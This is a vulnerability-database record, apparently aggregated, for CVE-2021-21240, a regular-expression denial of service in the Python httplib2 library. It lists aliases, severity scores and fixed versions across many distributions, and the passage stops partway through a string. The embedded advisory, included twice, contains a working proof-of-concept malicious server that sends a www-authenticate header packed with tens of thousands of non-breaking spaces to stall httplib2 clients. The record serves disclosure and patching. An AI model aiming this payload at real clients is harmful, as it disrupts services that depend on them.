{"id":"CVE-2021-21240","aliases":["ALPINE-CVE-2021-21240","DEBIAN-CVE-2021-21240","EUVD-2021-0098","GHSA-93xj-8mrv-444m","MGASA-2021-0122","OESA-2021-1126","PYSEC-2021-16","RHSA-2021:2116","SUSE-SU-2021:1637-1","SUSE-SU-2021:1779-1","SUSE-SU-2021:1806-1","SUSE-SU-2021:1807-1","SUSE-SU-2021:1808-1","UBUNTU-CVE-2021-21240","openSUSE-SU-2021:0772-1","openSUSE-SU-2021:0796-1","openSUSE-SU-2021:1806-1","openSUSE-SU-2024:11231-1","openSUSE-SU-2024:14141-1","openSUSE-SU-2026:11203-1"],"status":"published","title":"Regular Expression Denial of Service in httplib2","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0367,"percentile":0.89798,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2021-02-08T19:41:59Z","modified":"2026-11-03T06:32:38Z","fixes":[{"ecosystem":"PyPI","package":"httplib2","fixed_in":["0.19.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.14","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.15","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.16","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.17","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.18","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.19","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-httplib2","fixed_in":["0.19.0-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-httplib2","fixed_in":["0.20.2-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-httplib2","fixed_in":["0.20.2-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-httplib2","fixed_in":["0.20.2-1"],"sources":["osv"]},{"ecosystem":"Mageia:7","package":"python-httplib2","fixed_in":["0.19.0-1.mga7"],"sources":["osv"]},{"ecosystem":"Mageia:8","package":"python-httplib2","fixed_in":["0.19.0-1.mga8"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS","package":"python-httplib2","fixed_in":["0.19.0-1.oe1"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP1","package":"python-httplib2","fixed_in":["0.19.0-1.oe1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.14","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.15","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.16","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.17","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.18","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20.2-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20.2-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.20.2-1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0"}]}],"versions":["0.10.3","0.11.0","0.11.1","0.11.3","0.12.0","0.12.1","0.12.3","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8","0.9","0.9.1","0.9.2"]},{"source":"osv","ecosystem":"Mageia:7","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-1.mga7"}]}]},{"source":"osv","ecosystem":"Mageia:8","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-1.mga8"}]}]},{"source":"osv","ecosystem":"openEuler:20.03-LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-1.oe1"}]}]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP1","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-1.oe1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"httplib2","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"bd9ee252c8f099608019709e22c0d705e98d26bc"}]},{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0"}]}],"versions":["0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8","0.9","0.9.1","0.9.2","0.10.3","0.11.0","0.11.1","0.11.3","0.12.0","0.12.1","0.12.3","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1"]},{"source":"osv","ecosystem":"Red Hat:openstack:16.1::el8","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.13.1-2.el8ost"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:openstack:16.1::el8","package":"python3-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.13.1-2.el8ost"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-1.8.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:OpenStack Cloud 9","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-8.3.4"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:OpenStack Cloud Crowbar 9","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-8.3.4"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP2","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP3","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP2","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP3","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:OpenStack Cloud 7","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-7.7.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 12","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-7.7.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:HPE Helion OpenStack 8","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-7.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:OpenStack Cloud 8","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-7.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:OpenStack Cloud Crowbar 8","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-7.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8-2","0.8-2build1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9+dfsg-2","0.9.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.2+dfsg-1","0.9.2+dfsg-1ubuntu0.1","0.9.2+dfsg-1ubuntu0.2","0.9.2+dfsg-1ubuntu0.3"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3-2","0.11.3-2build1","0.14.0-1","0.14.0-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.1-3ubuntu1","0.20.2-2","0.20.2-2ubuntu0.1"]},{"source":"osv","ecosystem":"openSUSE:Leap 15.2","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-lp152.6.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP2","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-bp152.3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.3","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.0-3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.19.1-1.2"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0-4.5"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-httplib2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.32.0-1.1"}]}],"bundled":2}],"products":[{"vendor":"httplib2","product":"httplib2"},{"vendor":"httplib2_project","product":"httplib2"}],"references":[{"url":"https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Mitigation","Third Party Advisory","evidence","web","advisory","article","report"]},{"url":"https://github.com/httplib2/httplib2/pull/182","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://github.com/httplib2/httplib2/commit/bd9ee252c8f099608019709e22c0d705e98d26bc","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://pypi.org/project/httplib2","tags":["x_refsource_MISC","x_transferred","Product","Third Party Advisory","package","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21240","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2021-16.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-93xj-8mrv-444m"},{"url":"https://security.alpinelinux.org/vuln/CVE-2021-21240","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2021-21240","tags":["advisory"]},{"url":"https://github.com/httplib2/httplib2","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2021-0122.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=28385","tags":["report"]},{"url":"https://openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2021-1126","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2021:2116","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#moderate","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1845937","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1926885","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2021/rhsa-2021_2116.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-11078","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-11078","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-11078","tags":["advisory"]},{"url":"https://github.com/httplib2/httplib2/security/advisories/GHSA-gg84-qgv9-w4pq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2021-21240","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2021-21240","tags":["advisory","report"]},{"url":"https://www.suse.com/support/update/announcement/2021/suse-su-20211637-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1171998","tags":["report"]},{"url":"https://bugzilla.suse.com/1182053","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2020-11078","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-21240","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2021/suse-su-20211779-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2021/suse-su-20211806-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2021/suse-su-20211807-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2021/suse-su-20211808-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2021-21240","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/ANZIEBB4AJVGYC2KYDE7RDSTFBBTL5ID/","tags":["advisory"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/BX6XMG6VSE6RQ4LZXDDXUYZZZ2FYOQM7/","tags":["advisory"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/DTGWJY2VML3YAAFAOOYJAQP5SZ4X6XWG/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2021-21240","title":"Regular Expression Denial of Service in httplib2","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T19:45:19Z","modified":"2024-08-03T18:09:14.827Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:33:00.137099Z"}],"euvd":[{"id":"EUVD-2021-0098","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T19:45:19Z","modified":"2024-08-03T18:09:14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:25:06.913643Z"}],"ghsa":[{"id":"GHSA-93xj-8mrv-444m","title":"Regular Expression Denial of Service (REDoS) in httplib2","description":"### Impact\nA malicious server which responds with long series of `\\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.\n\n### Patches\nVersion 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.\nhttps://github.com/httplib2/httplib2/pull/182\n\n### Workarounds\n```py\nimport httplib2\nhttplib2.USE_WWW_AUTH_STRICT_PARSING = True\n```\n\n### Technical Details\n\nThe vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338\n\nThe section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:\n\n    \\s*[^ \\t\\r\\n=]+\\s*=\n\nSince all three infinitely repeating groups accept the non-breaking space character `\\xa0`, a long string of `\\xa0` causes catastrophic backtracking.\n\nThe complexity is cubic, so doubling the length of the malicious string of `\\xa0` makes processing take 8 times as long.\n\n### Reproduction Steps\n\nRun a malicious server which responds with\n\n    www-authenticate: x \\xa0\\xa0\\xa0\\xa0x\n\nbut with many more `\\xa0` characters.\n\nAn example malicious python server is below:\n\n```py\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ndef make_header_value(n_spaces):\n    repeat = \"\\xa0\" * n_spaces\n    return f\"x {repeat}x\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.log_request(401)\n        self.send_response_only(401)  # Don't bother sending Server and Date\n        n_spaces = (\n            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences\n            if len(self.path) \u003e 1 else\n            65512  # Max header line length 65536\n        )\n        value = make_header_value(n_spaces)\n        self.send_header(\"www-authenticate\", value)  # This header can actually be sent multiple times\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    HTTPServer((\"\", 1337), Handler).serve_forever()\n```\n\nConnect to the server with httplib2:\n\n```py\nimport httplib2\nhttplib2.Http(\".cache\").request(\"http://localhost:1337\", \"GET\")\n```\n\nTo benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000\n\n\n### References\nThanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)","status":"published","published":"2021-02-08T19:41:59Z","modified":"2024-09-23T16:13:17Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:38:05.526697Z"}],"nvd":[{"id":"CVE-2021-21240","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:12.197Z","modified":"2026-06-17T03:35:06.433Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:06:49.660551Z"}],"osv":[{"id":"ALPINE-CVE-2021-21240","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:12.197Z","modified":"2026-11-03T06:32:38.12368603Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T07:17:20.312441Z"},{"id":"CVE-2021-21240","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:12.197Z","modified":"2026-10-20T10:54:27.774127796Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:18.004149Z"},{"id":"DEBIAN-CVE-2021-21240","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:12.197Z","modified":"2026-10-23T18:03:11.864275263Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:34.637046Z"},{"id":"GHSA-93xj-8mrv-444m","title":"Regular Expression Denial of Service (REDoS) in httplib2","description":"### Impact\nA malicious server which responds with long series of `\\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.\n\n### Patches\nVersion 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.\nhttps://github.com/httplib2/httplib2/pull/182\n\n### Workarounds\n```py\nimport httplib2\nhttplib2.USE_WWW_AUTH_STRICT_PARSING = True\n```\n\n### Technical Details\n\nThe vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338\n\nThe section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:\n\n    \\s*[^ \\t\\r\\n=]+\\s*=\n\nSince all three infinitely repeating groups accept the non-breaking space character `\\xa0`, a long string of `\\xa0` causes catastrophic backtracking.\n\nThe complexity is cubic, so doubling the length of the malicious string of `\\xa0` makes processing take 8 times as long.\n\n### Reproduction Steps\n\nRun a malicious server which responds with\n\n    www-authenticate: x \\xa0\\xa0\\xa0\\xa0x\n\nbut with many more `\\xa0` characters.\n\nAn example malicious python server is below:\n\n```py\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ndef make_header_value(n_spaces):\n    repeat = \"\\xa0\" * n_spaces\n    return f\"x {repeat}x\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.log_request(401)\n        self.send_response_only(401)  # Don't bother sending Server and Date\n        n_spaces = (\n            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences\n            if len(self.path) \u003e 1 else\n            65512  # Max header line length 65536\n        )\n        value = make_header_value(n_spaces)\n        self.send_header(\"www-authenticate\", value)  # This header can actually be sent multiple times\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    HTTPServer((\"\", 1337), Handler).serve_forever()\n```\n\nConnect to the server with httplib2:\n\n```py\nimport httplib2\nhttplib2.Http(\".cache\").request(\"http://localhost:1337\", \"GET\")\n```\n\nTo benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000\n\n\n### References\nThanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)","status":"published","published":"2021-02-08T19:41:59Z","modified":"2026-09-10T03:49:14.200521093Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"OESA-2021-1126","title":"python-httplib2 security update","description":"httplib2 is a comprehensive HTTP client library, httplib2.py supports many features left out of other HTTP libraries.\r\n\r\nSecurity Fix(es):\r\n\r\nhttplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \u0026quot;\\xa0\u0026quot; characters in the \u0026quot;www-authenticate\u0026quot; header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.(CVE-2021-21240)","status":"published","published":"2021-04-07T11:04:22Z","modified":"2026-08-18T01:15:24.833308416Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:38.987987Z"},{"id":"RHSA-2021:2116","title":"Red Hat Security Advisory: Red Hat OpenStack Platform 16.1.6 (python-httplib2) security update","status":"published","published":"2024-09-18T04:28:43Z","modified":"2026-06-29T10:35:22Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:08.071325Z"},{"id":"UBUNTU-CVE-2021-21240","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:00Z","modified":"2026-07-14T16:06:21.316432991Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:26.29421Z"},{"id":"MGASA-2021-0122","title":"Updated python-httplib2 packages fix a security vulnerability","description":"A malicious server which responds with long series of \\xa0 characters in 